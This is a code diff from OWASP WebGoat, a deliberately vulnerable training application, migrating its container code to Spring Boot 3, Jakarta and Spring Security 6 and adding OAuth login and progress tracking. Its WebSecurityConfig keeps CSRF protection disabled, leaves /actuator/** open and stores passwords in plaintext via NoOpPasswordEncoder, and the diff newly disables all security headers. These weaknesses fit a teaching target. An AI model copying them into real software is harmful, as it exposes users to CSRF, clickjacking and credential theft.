@@ -6,8 +6,8 @@ import javax.sql.DataSource;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.LessonScanner;
 import org.owasp.webgoat.container.service.RestartLessonService;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
@@ -20,7 +20,6 @@ import org.springframework.jdbc.datasource.DriverManagerDataSource;
 public class DatabaseConfiguration {
 
   private final DataSourceProperties properties;
-  private final LessonScanner lessonScanner;
 
   @Bean
   @Primary
@@ -36,8 +35,8 @@ public class DatabaseConfiguration {
   /**
    * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
    * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
-   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
-   * related tables.
+   * quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
+   * clean the lesson related tables.
    */
   @Bean(initMethod = "migrate")
   public Flyway flyWayContainer() {
@@ -50,18 +49,19 @@ public class DatabaseConfiguration {
   }
 
   @Bean
-  public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+  public Function<String, Flyway> flywayLessons() {
     return schema ->
         Flyway.configure()
             .configuration(Map.of("driver", properties.getDriverClassName()))
             .schemas(schema)
-            .dataSource(lessonDataSource)
+            .cleanDisabled(false)
+            .dataSource(dataSource())
             .locations("lessons")
             .load();
   }
 
   @Bean
-  public LessonDataSource lessonDataSource() {
-    return new LessonDataSource(dataSource());
+  public LessonDataSource lessonDataSource(DataSource dataSource) {
+    return new LessonDataSource(dataSource);
   }
 }

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -56,10 +56,10 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
 import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
-import org.thymeleaf.spring5.SpringTemplateEngine;
-import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
-import org.thymeleaf.spring5.view.ThymeleafViewResolver;
+import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
+import org.thymeleaf.spring6.SpringTemplateEngine;
+import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring6.view.ThymeleafViewResolver;
 import org.thymeleaf.templatemode.TemplateMode;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresolver.ITemplateResolver;
@@ -242,6 +242,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
   @Override
   public void addInterceptors(InterceptorRegistry registry) {
     registry.addInterceptor(localeChangeInterceptor());
+    registry.addInterceptor(new UserInterceptor());
   }
 
   @Bean

src/main/java/org/owasp/webgoat/container/UserInterceptor.java

@@ -0,0 +1,53 @@
+package org.owasp.webgoat.container;
+
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
+import org.springframework.core.env.Environment;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+public class UserInterceptor implements HandlerInterceptor {
+
+  private Environment env = EnvironmentExposure.getEnv();
+
+  @Override
+  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+      throws Exception {
+    // Do nothing
+    return true;
+  }
+
+  @Override
+  public void postHandle(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      Object handler,
+      ModelAndView modelAndView)
+      throws Exception {
+    if (null != modelAndView) {
+      Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+      if (null != authentication) {
+        modelAndView.getModel().put("username", authentication.getName());
+      }
+      if (null != env) {
+        String githubClientId =
+            env.getProperty("spring.security.oauth2.client.registration.github.client-id");
+        if (null != githubClientId && !githubClientId.equals("dummy")) {
+          modelAndView.getModel().put("oauth", Boolean.TRUE);
+        }
+      } else {
+        modelAndView.getModel().put("oauth", Boolean.FALSE);
+      }
+    }
+  }
+
+  @Override
+  public void afterCompletion(
+      HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+      throws Exception {
+    // Do nothing
+  }
+}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -32,24 +32,34 @@
 package org.owasp.webgoat.container;
 
 import java.io.File;
-import org.owasp.webgoat.container.session.UserSessionData;
-import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.session.LessonSession;
+import org.owasp.webgoat.container.users.UserRepository;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
+import org.springframework.boot.autoconfigure.domain.EntityScan;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.PropertySource;
 import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
 import org.springframework.web.client.RestTemplate;
 
 @Configuration
 @ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
 @PropertySource("classpath:application-webgoat.properties")
 @EnableAutoConfiguration
+@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
+@EntityScan(basePackages = "org.owasp.webgoat.container")
 public class WebGoat {
 
+  private final UserRepository userRepository;
+
+  public WebGoat(UserRepository userRepository) {
+    this.userRepository = userRepository;
+  }
+
   @Bean(name = "pluginTargetDirectory")
   public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
     return new File(webgoatHome);
@@ -57,14 +67,8 @@ public class WebGoat {
 
   @Bean
   @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public WebSession webSession() {
-    return new WebSession();
-  }
-
-  @Bean
-  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public UserSessionData userSessionData() {
-    return new UserSessionData("test", "data");
+  public LessonSession userSessionData() {
+    return new LessonSession();
   }
 
   @Bean

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -35,52 +35,61 @@ import org.owasp.webgoat.container.users.UserService;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
 import org.springframework.security.authentication.AuthenticationManager;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;
 import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
-import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
-import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+import org.springframework.security.web.SecurityFilterChain;
 
 /** Security configuration for WebGoat. */
 @Configuration
 @AllArgsConstructor
 @EnableWebSecurity
-public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+public class WebSecurityConfig {
 
   private final UserService userDetailsService;
 
-  @Override
-  protected void configure(HttpSecurity http) throws Exception {
-    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
-        http.authorizeRequests()
-            .antMatchers(
-                "/css/**",
-                "/images/**",
-                "/js/**",
-                "fonts/**",
-                "/plugins/**",
-                "/registration",
-                "/register.mvc",
-                "/actuator/**")
-            .permitAll()
-            .anyRequest()
-            .authenticated();
-    security
-        .and()
-        .formLogin()
-        .loginPage("/login")
-        .defaultSuccessUrl("/welcome.mvc", true)
-        .usernameParameter("username")
-        .passwordParameter("password")
-        .permitAll();
-    security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
-    security.and().csrf().disable();
-
-    http.headers().cacheControl().disable();
-    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+  @Bean
+  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
+    return http.authorizeHttpRequests(
+            auth ->
+                auth.requestMatchers(
+                        "/favicon.ico",
+                        "/css/**",
+                        "/images/**",
+                        "/js/**",
+                        "fonts/**",
+                        "/plugins/**",
+                        "/registration",
+                        "/register.mvc",
+                        "/actuator/**")
+                    .permitAll()
+                    .anyRequest()
+                    .authenticated())
+        .formLogin(
+            login ->
+                login
+                    .loginPage("/login")
+                    .defaultSuccessUrl("/welcome.mvc", true)
+                    .usernameParameter("username")
+                    .passwordParameter("password")
+                    .permitAll())
+        .oauth2Login(
+            oidc -> {
+              oidc.defaultSuccessUrl("/login-oauth.mvc");
+              oidc.loginPage("/login");
+            })
+        .logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
+        .csrf(csrf -> csrf.disable())
+        .headers(headers -> headers.disable())
+        .exceptionHandling(
+            handling ->
+                handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
+        .build();
   }
 
   @Autowired
@@ -89,18 +98,17 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
   }
 
   @Bean
-  @Override
-  public UserDetailsService userDetailsServiceBean() throws Exception {
+  @Primary
+  public UserDetailsService userDetailsServiceBean() {
     return userDetailsService;
   }
 
-  @Override
   @Bean
-  protected AuthenticationManager authenticationManager() throws Exception {
-    return super.authenticationManager();
+  public AuthenticationManager authenticationManager(
+      AuthenticationConfiguration authenticationConfiguration) throws Exception {
+    return authenticationConfiguration.getAuthenticationManager();
   }
 
-  @SuppressWarnings("deprecation")
   @Bean
   public NoOpPasswordEncoder passwordEncoder() {
     return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -16,7 +16,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
   private static ApplicationContext context;
 
   public static Environment getEnv() {
-    return context.getEnvironment();
+    return null != context ? context.getEnvironment() : null;
   }
 
   @Override

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -1,7 +1,8 @@
 package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
 public class OperatingSystemMacro extends InlineMacroProcessor {
@@ -15,7 +16,8 @@ public class OperatingSystemMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
     var osName = System.getProperty("os.name");
 
     // see

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -1,7 +1,8 @@
 package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
@@ -17,7 +18,8 @@ public class UsernameMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
     var auth = SecurityContextHolder.getContext().getAuthentication();
     var username = "unknown";
     if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -1,7 +1,8 @@
 package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
 public class WebGoatTmpDirMacro extends InlineMacroProcessor {
@@ -15,11 +16,12 @@ public class WebGoatTmpDirMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode structuralNode, String target, Map<String, Object> attributes) {
     var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
 
     // see
     // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", env);
+    return createPhraseNode(structuralNode, "quoted", env);
   }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java

@@ -1,7 +1,8 @@
 package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
 public class WebGoatVersionMacro extends InlineMacroProcessor {
@@ -15,7 +16,8 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
     var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
 
     // see

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -2,11 +2,9 @@ package org.owasp.webgoat.container.asciidoc;
 
 import java.util.HashMap;
 import java.util.Map;
-import javax.servlet.http.HttpServletRequest;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;
 
 /**
  * Usage in asciidoc:
@@ -24,9 +22,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode contentNode, String linkText, Map<String, Object> attributes) {
     var env = EnvironmentExposure.getEnv();
-    var hostname = determineHost(env.getProperty("webwolf.port"));
+    var hostname = env.getProperty("webwolf.url");
     var target = (String) attributes.getOrDefault("target", "home");
     var href = hostname + "/" + target;
 
@@ -39,35 +38,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
     options.put("type", ":link");
     options.put("target", href);
     attributes.put("window", "_blank");
-    return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
+    return createPhraseNode(contentNode, "anchor", linkText, attributes, options);
   }
 
   private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
     return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
   }
-
-  /**
-   * Determine the host from the hostname and ports that were used. The purpose is to make it
-   * possible to use the application behind a reverse proxy. For instance in the docker
-   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
-   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
-   * www.webgoat.local www.webwolf.local
-   */
-  private String determineHost(String port) {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-    String host = request.getHeader("Host");
-    int semicolonIndex = host.indexOf(":");
-    if (semicolonIndex == -1 || host.endsWith(":80")) {
-      host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
-    } else {
-      host = host.substring(0, semicolonIndex);
-      host = host.concat(":").concat(port);
-    }
-    return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
-  }
-
-  protected boolean includeWebWolfContext() {
-    return true;
-  }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -17,9 +17,4 @@ public class WebWolfRootMacro extends WebWolfMacro {
   public WebWolfRootMacro(String macroName, Map<String, Object> config) {
     super(macroName, config);
   }
-
-  @Override
-  protected boolean includeWebWolfContext() {
-    return false;
-  }
 }

src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java

@@ -25,27 +25,13 @@
 
 package org.owasp.webgoat.container.assignments;
 
-import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.container.lessons.Initializeable;
-import org.owasp.webgoat.container.session.UserSessionData;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.beans.factory.annotation.Autowired;
 
-public abstract class AssignmentEndpoint implements Initializeable {
+public abstract class AssignmentEndpoint {
 
-  @Autowired private WebSession webSession;
-  @Autowired private UserSessionData userSessionData;
-  @Getter @Autowired private PluginMessages messages;
-
-  protected WebSession getWebSession() {
-    return webSession;
-  }
-
-  protected UserSessionData getUserSessionData() {
-    return userSessionData;
-  }
+  // TODO: move this to different bean.
+  @Autowired private PluginMessages messages;
 
   /**
    * Convenience method for create a successful result:
@@ -86,7 +72,4 @@ public abstract class AssignmentEndpoint implements Initializeable {
   protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
     return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
   }
-
-  @Override
-  public void initialize(WebGoatUser user) {}
 }

src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java

@@ -22,27 +22,30 @@
 
 package org.owasp.webgoat.container.assignments;
 
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.users.UserProgress;
+import org.owasp.webgoat.container.users.UserProgressRepository;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.core.MethodParameter;
 import org.springframework.http.MediaType;
 import org.springframework.http.converter.HttpMessageConverter;
 import org.springframework.http.server.ServerHttpRequest;
 import org.springframework.http.server.ServerHttpResponse;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.util.Assert;
 import org.springframework.web.bind.annotation.RestControllerAdvice;
 import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
 
 @RestControllerAdvice
 public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
 
-  private UserTrackerRepository userTrackerRepository;
-  private WebSession webSession;
+  private final Course course;
+  private final UserProgressRepository userProgressRepository;
 
-  public LessonTrackerInterceptor(
-      UserTrackerRepository userTrackerRepository, WebSession webSession) {
-    this.userTrackerRepository = userTrackerRepository;
-    this.webSession = webSession;
+  public LessonTrackerInterceptor(Course course, UserProgressRepository userProgressRepository) {
+    this.course = course;
+    this.userProgressRepository = userProgressRepository;
   }
 
   @Override
@@ -65,17 +68,30 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
     return o;
   }
 
-  protected AttackResult trackProgress(AttackResult attackResult) {
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    if (userTracker == null) {
-      userTracker = new UserTracker(webSession.getUserName());
+  private void trackProgress(AttackResult attackResult) {
+    var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
+    Assert.notNull(user, "User not found in SecurityContext");
+    var username = realUsername(user);
+
+    var userProgress = userProgressRepository.findByUser(username);
+    if (userProgress == null) {
+      userProgress = new UserProgress(username);
     }
+    Lesson lesson = course.getLessonByAssignment(attackResult.getAssignment());
+    Assert.notNull(lesson, "Lesson not found for assignment " + attackResult.getAssignment());
+
     if (attackResult.assignmentSolved()) {
-      userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
+      userProgress.assignmentSolved(lesson, attackResult.getAssignment());
     } else {
-      userTracker.assignmentFailed(webSession.getCurrentLesson());
+      userProgress.assignmentFailed(lesson);
     }
-    userTrackerRepository.saveAndFlush(userTracker);
-    return attackResult;
+    userProgressRepository.save(userProgress);
+  }
+
+  private String realUsername(WebGoatUser user) {
+    // maybe we shouldn't hard code this with just csrf- prefix for now it works
+    return user.getUsername().startsWith("csrf-")
+        ? user.getUsername().substring("csrf-".length())
+        : user.getUsername();
   }
 }

src/main/java/org/owasp/webgoat/container/controller/StartLesson.java

@@ -31,44 +31,22 @@
  */
 package org.owasp.webgoat.container.controller;
 
-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.servlet.ModelAndView;
 
 @Controller
 public class StartLesson {
 
-  private final WebSession ws;
   private final Course course;
 
-  public StartLesson(WebSession ws, Course course) {
-    this.ws = ws;
+  public StartLesson(Course course) {
     this.course = course;
   }
 
-  /**
-   * start.
-   *
-   * @return a {@link ModelAndView} object.
-   */
-  @RequestMapping(
-      path = "startlesson.mvc",
-      method = {RequestMethod.GET, RequestMethod.POST})
-  public ModelAndView start() {
-    var model = new ModelAndView();
-
-    model.addObject("course", course);
-    model.addObject("lesson", ws.getCurrentLesson());
-    model.setViewName("lesson_content");
-
-    return model;
-  }
-
-  @RequestMapping(
+  @GetMapping(
       value = {"*.lesson"},
       produces = "text/html")
   public ModelAndView lessonPage(HttpServletRequest request) {
@@ -81,8 +59,7 @@ public class StartLesson {
         .findFirst()
         .ifPresent(
             lesson -> {
-              ws.setCurrentLesson(lesson);
-              model.addObject("lesson", lesson);
+              request.setAttribute("lesson", lesson);
             });
 
     return model;

src/main/java/org/owasp/webgoat/container/controller/Welcome.java

@@ -29,8 +29,8 @@
  */
 package org.owasp.webgoat.container.controller;
 
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpSession;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpSession;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.servlet.ModelAndView;
@@ -49,7 +49,7 @@ public class Welcome {
   /**
    * welcome.
    *
-   * @param request a {@link javax.servlet.http.HttpServletRequest} object.
+   * @param request a {@link jakarta.servlet.http.HttpServletRequest} object.
    * @return a {@link org.springframework.web.servlet.ModelAndView} object.
    */
   @GetMapping(path = {"welcome.mvc"})

src/main/java/org/owasp/webgoat/container/lessons/Assignment.java

@@ -1,9 +1,14 @@
 package org.owasp.webgoat.container.lessons;
 
+import jakarta.persistence.Entity;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.Transient;
 import java.util.ArrayList;
 import java.util.List;
-import javax.persistence.*;
-import lombok.*;
+import lombok.EqualsAndHashCode;
+import lombok.Getter;
 
 /**
  * ************************************************************************************************
@@ -41,15 +46,16 @@ import lombok.*;
 public class Assignment {
 
   @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   private String name;
   private String path;
+  private boolean solved = false;
 
   @Transient private List<String> hints;
 
-  private Assignment() {
+  protected Assignment() {
     // Hibernate
   }
 
@@ -69,4 +75,8 @@ public class Assignment {
     this.path = path;
     this.hints = hints;
   }
+
+  public void solved() {
+    this.solved = true;
+  }
 }

src/main/java/org/owasp/webgoat/container/lessons/Category.java

@@ -34,30 +34,28 @@ import lombok.Getter;
  * @since October 28, 2003
  */
 public enum Category {
-  INTRODUCTION("Introduction", 5),
-  GENERAL("General", 100),
+  INTRODUCTION("Introduction"),
+  GENERAL("General"),
 
-  A1("(A1) Broken Access Control", 301),
-  A2("(A2) Cryptographic Failures", 302),
-  A3("(A3) Injection", 303),
+  A1("(A1) Broken Access Control"),
+  A2("(A2) Cryptographic Failures"),
+  A3("(A3) Injection"),
 
-  A5("(A5) Security Misconfiguration", 305),
-  A6("(A6) Vuln & Outdated Components", 306),
-  A7("(A7) Identity & Auth Failure", 307),
-  A8("(A8) Software & Data Integrity", 308),
-  A9("(A9) Security Logging Failures", 309),
-  A10("(A10) Server-side Request Forgery", 310),
+  A5("(A5) Security Misconfiguration"),
+  A6("(A6) Vuln & Outdated Components"),
+  A7("(A7) Identity & Auth Failure"),
+  A8("(A8) Software & Data Integrity"),
+  A9("(A9) Security Logging Failures"),
+  A10("(A10) Server-side Request Forgery"),
 
-  CLIENT_SIDE("Client side", 1700),
+  CLIENT_SIDE("Client side"),
 
-  CHALLENGE("Challenges", 3000);
+  CHALLENGE("Challenges");
 
   @Getter private String name;
-  @Getter private Integer ranking;
 
-  Category(String name, Integer ranking) {
+  Category(String name) {
     this.name = name;
-    this.ranking = ranking;
   }
 
   @Override

src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java

@@ -22,12 +22,9 @@
 
 package org.owasp.webgoat.container.lessons;
 
-import static java.util.stream.Collectors.groupingBy;
-
 import java.lang.reflect.Method;
 import java.lang.reflect.ParameterizedType;
 import java.util.*;
-import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.ArrayUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
@@ -35,45 +32,91 @@ import org.owasp.webgoat.container.assignments.AttackResult;
 import org.owasp.webgoat.container.session.Course;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
-import org.springframework.util.CollectionUtils;
+import org.springframework.util.Assert;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.PutMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 
-@Slf4j
 @Configuration
 public class CourseConfiguration {
-
   private final List<Lesson> lessons;
   private final List<AssignmentEndpoint> assignments;
-  private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
 
   public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
     this.lessons = lessons;
     this.assignments = assignments;
-    assignmentsByPackage =
-        this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
+  }
+
+  private void attachToLessonInParentPackage(
+      AssignmentEndpoint assignmentEndpoint, String packageName) {
+    if (packageName.equals("org.owasp.webgoat.lessons")) {
+      throw new IllegalStateException(
+          "No lesson found for assignment: '%s'"
+              .formatted(assignmentEndpoint.getClass().getSimpleName()));
+    }
+    lessons.stream()
+        .filter(l -> l.getClass().getPackageName().equals(packageName))
+        .findFirst()
+        .ifPresentOrElse(
+            l -> l.addAssignment(toAssignment(assignmentEndpoint)),
+            () ->
+                attachToLessonInParentPackage(
+                    assignmentEndpoint, packageName.substring(0, packageName.lastIndexOf("."))));
+  }
+
+  /**
+   * For each assignment endpoint, find the lesson in the same package or if not found, find the
+   * lesson in the parent package
+   */
+  private void attachToLesson(AssignmentEndpoint assignmentEndpoint) {
+    lessons.stream()
+        .filter(
+            l ->
+                l.getClass()
+                    .getPackageName()
+                    .equals(assignmentEndpoint.getClass().getPackageName()))
+        .findFirst()
+        .ifPresentOrElse(
+            l -> l.addAssignment(toAssignment(assignmentEndpoint)),
+            () -> {
+              var assignmentPackageName = assignmentEndpoint.getClass().getPackageName();
+              attachToLessonInParentPackage(
+                  assignmentEndpoint,
+                  assignmentPackageName.substring(0, assignmentPackageName.lastIndexOf(".")));
+            });
+  }
+
+  private Assignment toAssignment(AssignmentEndpoint endpoint) {
+    return new Assignment(
+        endpoint.getClass().getSimpleName(),
+        getPath(endpoint.getClass()),
+        getHints(endpoint.getClass()));
   }
 
   @Bean
   public Course course() {
-    lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
+    assignments.stream().forEach(this::attachToLesson);
+
+    // Check if all assignments are attached to a lesson
+    var assignmentsAttachedToLessons =
+        lessons.stream().mapToInt(l -> l.getAssignments().size()).sum();
+    Assert.isTrue(
+        assignmentsAttachedToLessons == assignments.size(),
+        "Not all assignments are attached to a lesson, please check the configuration. The"
+            + " following assignments are not attached to any lesson: "
+            + findDiff());
     return new Course(lessons);
   }
 
-  private List<Assignment> createAssignment(Lesson lesson) {
-    var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
-    if (CollectionUtils.isEmpty(endpoints)) {
-      log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
-      return new ArrayList<>();
-    }
-    return endpoints.stream()
-        .map(
-            e ->
-                new Assignment(
-                    e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
-        .toList();
+  private List<String> findDiff() {
+    var matchedToLessons =
+        lessons.stream().flatMap(l -> l.getAssignments().stream()).map(a -> a.getName()).toList();
+    var allAssignments = assignments.stream().map(a -> a.getClass().getSimpleName()).toList();
+
+    var diff = new ArrayList<>(allAssignments);
+    diff.removeAll(matchedToLessons);
+    return diff;
   }
 
   private String getPath(Class<? extends AssignmentEndpoint> e) {

src/main/java/org/owasp/webgoat/container/lessons/Initializable.java

@@ -6,7 +6,7 @@ import org.owasp.webgoat.container.users.WebGoatUser;
  * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and
  * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
  */
-public interface Initializeable {
+public interface Initializable {
 
-  void initialize(WebGoatUser webGoatUser);
+  default void initialize(WebGoatUser webGoatUser) {}
 }

